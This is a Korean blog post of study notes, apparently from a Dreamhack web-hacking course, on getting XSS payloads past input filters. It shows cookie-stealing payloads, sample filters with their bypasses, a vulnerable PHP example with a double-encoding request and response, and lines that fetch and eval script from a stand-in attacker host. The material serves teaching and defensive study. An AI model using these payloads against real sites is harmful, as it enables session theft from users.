드림핵 - WHA(Client Side)

XSS Filtering Bypass - II

김가윤 2023. 3. 27. 19:59

1. 불충분한 XSS 필터링

 

(1) 자바스크립트 함수 및 키워드 필터링

 

자바스크립트는

Unicode escape sequence를 지원한다.

 

Unicode esacpe sequence은

"\uAC00" == "가"와 같이

문자열에서 유니코드 문자를

코드포인트로 나타낼 수 있는 표기법이다.

 

Figure 1. Unicode escape sequence를 통한 우회

var foo = "\u0063ookie";  // cookie
var bar = "cooki\x65";  // cookie
\u0061lert(document.cookie);  // alert(document.cookie)

 

다음으로 자바스크립트는

Computed member access를 지원한다.

 

객체의 특정 속성에 접근할 때

속성 이름을 동적으로 계산하는 기능이다.

document["coo"+"kie"] == document["cookie"] == document.cookie

 

Figure 2. Computed member access를 이용한 우회

alert(document["\u0063ook" + "ie"]);  // 
alert(document.cookie)
window['al\x65rt'](document["\u0063ook" + "ie"]);  // 
alert(document.cookie)

 

XSS 공격에 흔히 사용되는

구문과 필터링 우회를 위해

사용될 수 있는 대체 예시

구문 예시
alert, XMLHttpRequest 등 window['al'+'alert'], window['XMLHtt'+'pRequest']
window self, this
eval(code) Function(code) ()
Function isNaN['constr'+'uctor'] 등 함수의 constructor 속성 접

 

극단적인 사례로

자바스크립트의 언어적 특성을 활용하면

6개의 문자 ([, ], (, ), !, +)만으로

모든 동작을 수행할 수 있다.

 

(1-1) 문자열 선언

 

만약 따옴표 (", ')가 필터링되어 있다면

템플릿 리터럴 (Template Literals)를 사용할 수 있다.

 

내장된 표현식을 허용하는

문자열 리터럴이며,

 

여러 줄로 이뤄진 문자열과 문자를

보관하기 위한 기능으로

이용할 수 있다.

 

백틱 (`)을 이용해 선언할 수 있으며

내장된 $() 표현식을 이용해

다른 변수나 식을 사용할 수 있다.

 

Figure 3. 템플릿 리터럴 사용 예시

var foo = "Hello";
var bar = "World";
var baz = `${foo},
${bar} ${1+1}.`; // "Hello,\nWorld 2."

 

따옴표와 백틱을 모두 사용하지 못할 때

 

1) RegExp 객체

 

/Hello World/ 형태로

RegExp 객체를 생성하고

객체의 패턴 부분을 가쟈옴으로써

문자열을 만들 수 있다.

 

Figure 4. RegExp 객체를 이용한 모습

var foo = /Hello World!/.source;  // "Hello World!"
var bar = /test !/ + [];  // "/test !/"

 

2) String.fromCharCode 함수

 

유니코드의 범위 중

파라미터로 전달된 수에

해당 하는 문자를 반환

 

Figure 5. fromCharCode 함수를 사용한 모습

var foo = String.fromCharCode(72, 101, 108, 108, 111);  // "Hello"

 

3) 기본 내장 함수나 객체의 문자를 사용하는 방법

 

Figure 6. 내장 함수 및 객체 문자를 이용한 모습

var baz = history.toString()[8] + // "H"
(history+[])[9] + // "i"
(URL+0)[12] + // "("
(URL+0)[13]; // ")" ==> "Hi()"

 

history.toString()

"[object History]" 문자열을 반환하고,

 

URL.toString()

"function URL() { [native code] }" 문자열을 반환한다.

 

또한,

history+[]; history+0; 처럼

함수나 객체와 +, - 와 같은

산술 연산을 수행하게 되면

연산을 위해 객체 내부적으로

toString 함수를 호출해

문자열로 변환한 후에

연산을 수행한다.

 

4) 숫자 객체의 진법 전환

 

10진수 숫자를

36진수로 변경하여

아스키 영어 소문자 범위를

모두 생성할 수 있다.

 

이 때 사용되는 연산자로

E4X 연산자 ("..")가 존재한다.

 

주로 점 두개를 쓰거나,

소수점으로 인식되지 않도록

공백과 점을 조합해 사용할 수 있다.

 

Figure 7. 진수 전환을 이용한 모습

var foo = 29234652..toString(36); // "hello"
var bar = 29234652 .toString(36); // "hello"

(2) 함수 호출

 

일반적으로

자바스크립트의 함수를 호출하기 위해서는

소괄호 (parentheses, ()) 또는

Tagged Templates (백틱, `)을 사용해야 한다.

 

Figure 8. 함수 호출 예시

alert(1); // Parentheses
alert`1`; // Tagged Templates

 

소괄호와 백틱 문자가 필터링 되어있는 경우

 

1) javascript 스키마를 이용한 location 변경

 

Figure 9. javascript 스키마를 이용한 우회 예시

location="javascript:alert\x28document.domain\x29;";
location.href="javascript:alert\u0028document.domain\u0029;";
location['href']="javascript:alert\050document.domain\051;";

 

2) Symbol.hasInstance 오버라이딩

 

자바스크립트에서는 문자열 이외에도

ECMAScript 6에서 추가된 Symbol 또한

속성 명칭으로 사용할 수 있다.

 

Symbol.hasInstance well-known symbol을 이용하면

instanceof 연산자를 오버라이드 할 수 있다.

 

즉 0 instanceof C를 연산할 때

C에 Symbol.hasInstance 속성에 함수가 있을 경우

메소드로 호출하여 instanceof 연산자의

결과 값으로 사용하게 된다.

 

Figure 10. hasInstance를 이용한 우회 예시

"alert\x28document.domain\x29"instanceof{[Symbol.hasInstance]:eval};
Array.prototype[Symbol.hasInstance]=eval;"alert\x28document.domain\x29"instanceof[];

 

3) document.body.innerHTML 추가

 

innerHTML

HTML 코드를 실행할 때에는

보안 상 <script> 태그를 삽입해도

실행되지 않는다.

 

따라서 이벤트 핸들러를 이용해

자바스크립트 코드를 실행해야 한다.

 

Figure 11. innerHTML을 이용한 우회 예시

document.body.innerHTML+="<img src=x: onerror=alert&#40;1&#41;>";
document.body.innerHTML+="<body src=x: onload=alert&#40;1&#41;>";

 

function XSSFilter(data){
  if(/alert|window|document/.test(data)){
    return false;
  }
  return true;
}
/* "alert", "window" 또는 "document" 문자열이 포함되어 있는지 확인하는 필터링입니다.
 * 하지만 this[propertyKey] 문법을 이용해 쉽게 우회가 가능합니다.
 */
this['al'+'ert'](this['docu'+'ment']['coo'+'kie']);
function XSSFilter(data){
  if(/alert|window|document|eval|cookie|this|self|parent|top|opener|function|[\-+\\<>{}=]/i.test(data)){
    return false;
  }
  return true;
}
/* 주요 키워드 이외에도 특수문자 등을 탐지합니다.
 * decodeURI, atob와 constructor 속성을 함께 사용하면 원하는 임의의 코드를 실행할 수 있습니다.
 */
// %63%6F%6E%73%74%72%75%63%74%6F%72 -> constructor
// %61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29 -> alert(document.cookie)
Boolean[decodeURI('%63%6F%6E%73%74%72%75%63%74%6F%72')](
      decodeURI('%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29'))();
Boolean[atob('Y29uc3RydWN0b3I')](atob('YWxlcnQoZG9jdW1lbnQuY29va2llKQ'))();
function XSSFilter(data){
  if(/[()"'`]/img.test(data)){
    return false;
  }
  return true;
}
/*
(, ), ", ', ` 문자들에 대해 탐지하는 필터링입니다.
앞서 배운 방법들을 조합하여 필터링을 우회할 수 있습니다.
*/
/alert/.source+[URL+[]][0][12]+/document.cookie/.source+[URL+[]][0][13] instanceof{[Symbol.hasInstance]:eval};
location=/javascript:/.source + /alert/.source + [URL+0][0][12] + /document.cookie/.source + [URL+0][0][13];

(2) 디코딩 전 필터링

 

입력 검증은

디코딩 등의 모든 전처리 작업을 마치고

수행해야 한다.

 

검증이 끝난 데이터를

디코딩해서 사용해서는 안 된다.

 

1) 더블 인코딩(Double Encoding)

 

예시,

 

1. 공격자가 더블 인코딩한

공격 코드 %253Cscript%252E(이하 생략)를 포함하여

게시글 업로드를 요청

 

2. 웹 방화벽이 해당 데이터를 디코딩 후 검증,

디코딩한 결과인 %3Cscript%3E(이하 생략)

안전하다고 판단하여 차단하지 않고

애플리케이션에 전달

 

3. 애플리케이션이

해당 데이터를 또 디코딩해서

<script>(이하 생략)

게시판 DB에 저장한다.

 

4. 희생자가 해당 게시글을 읽으면

XSS가 발생하여

악성 자바스크립트 코드가 실행

 

Figure 12. 검사가 미흡한 PHP 예시

<?php
$query = $_GET["query"];
if (stripos($query, "<script>") !== FALSE) {
    header("HTTP/1.1 403 Forbidden");
    die("XSS attempt detected: " . htmlspecialchars($query, ENT_QUOTES|ENT_HTML5, "UTF-8"));
}
...
$searchQuery = urldecode($_GET["query"]);
?>
<h1>Search results for: <?php echo $searchQuery; ?></h1>

Figure 13. 공격에 실패한 모습

POST /search?query=%3Cscript%3Ealert(document.cookie)%3C/script%3E HTTP/1.1
...
-----
HTTP/1.1 403 Forbidden
XSS attempt detected: &lt;script&gt;alert(document.cookie)&lt;/script&gt;

Figure 14. 더블 URL 인코딩을 통해 공격에 성공한 모습

POST /search?query=%253Cscript%253Ealert(document.cookie)%253C/script%253E HTTP/1.1
...
-----
HTTP/1.1 200 OK
<h1>Search results for: <script>alert(document.cookie)</script></h1>

(3) 길이 제한

 

삽입할 수 있는 코드의 길이가

제한되어 있는 경우,

 

다른 경로로

실행할 추가적인 코드 (payload)를

URL Fragment 등으로 삽입 후

삽입 지점에는 본 코드를 실행하는

짧은 코드 (launcher)를 사용할 수 있다.

 

Fragment로 스크립트를 넘겨준 후

XSS 지점에서 location.hash

URL의 Fragment 부분을 추출하여

eval()로 실행하는 기법이 흔히 쓰인다.

 

그 외에도

쿠키에 페이로드를 저장하는 방식과

import와 같은 외부 자원을

스크립트로 로드하는 방법 또한

사용할 수 있다.

 

1) location.hash를 이용한 공격 방식

https://example.com/?q=<img onerror="eval(location.hash.slice(1))">#alert(document.cookie);

2) 외부 자원을 이용한 공격 방식

import("http://malice.dreamhack.io");

var e = document.createElement('script')
e.src='http://malice.dreamhack.io';
document.appendChild(e);

fetch('http://malice.dreamhack.io').then(x=>eval(x.text()))

2. 정리

 

  • Unicode escape sequence: 문자열에서 유니코드 문자를 코드포인트로 나타낼 수 있는 표기법

 

  • Computed member access: 객체의 특정 속성에 접근할 때 속성 이름을 동적으로 계산하는 기능

 

  • 템플릿 리터럴 (Template Literals): 내장된 표현식을 허용하는 문자열 리터럴이며, 여러 줄로 이뤄진 문자열과 문자 보간기능을 사용

 

'드림핵 - WHA(Client Side)' 카테고리의 다른 글

CORS Vulnerability  (0) 2023.04.17
CSRF Token 오용  (0) 2023.04.17
CSP Bypass  (0) 2023.04.13
Content Security Policy  (0) 2023.04.13
XSS Filtering Bypass - I  (0) 2023.03.27